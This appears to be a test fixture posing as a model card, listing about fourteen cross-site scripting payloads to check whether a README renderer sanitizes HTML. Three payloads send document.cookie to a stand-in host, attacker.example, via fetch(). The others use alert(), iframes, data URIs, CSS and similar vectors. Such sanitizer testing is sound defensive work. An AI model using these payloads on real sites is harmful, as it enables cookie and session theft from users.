ml-readme-xss-2026-05-19

XSS Test Model Card

Direct script tag

<script>fetch('//attacker.example/cookie?c='+document.cookie)</script>

iframe injection

<iframe src="javascript:alert('XSS-iframe')" width=300 height=200></iframe>

svg onload XSS

<svg onload="fetch('//attacker.example/svg?c='+document.cookie)" width=10 height=10></svg>

img onerror XSS

<img src=x onerror="fetch('//attacker.example/img?c='+document.cookie)">

data URI script (in anchor)

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">data link</a>

Markdown link with javascript

click me

Markdown link with data URI

click

RTL override in heading

Heading ‮malicious

HTML attribute injection

<a href="https://example.com" onclick="alert('attr-xss')">click</a>

CSS-based XSS

<style>body{background:url("javascript:alert('css-xss')")}</style>

Form action injection

<form action="javascript:alert('form-xss')"><input type=submit></form>

Iframe with srcdoc

<iframe srcdoc="<script>alert('srcdoc-xss')</script>"></iframe>

Object embed

<object data="javascript:alert('obj-xss')"></object>

Math element XSS (less common, sometimes missed)

<math><mtext><textarea><a href="javascript:alert('math-xss')">click</a></textarea></mtext></math>

End of card.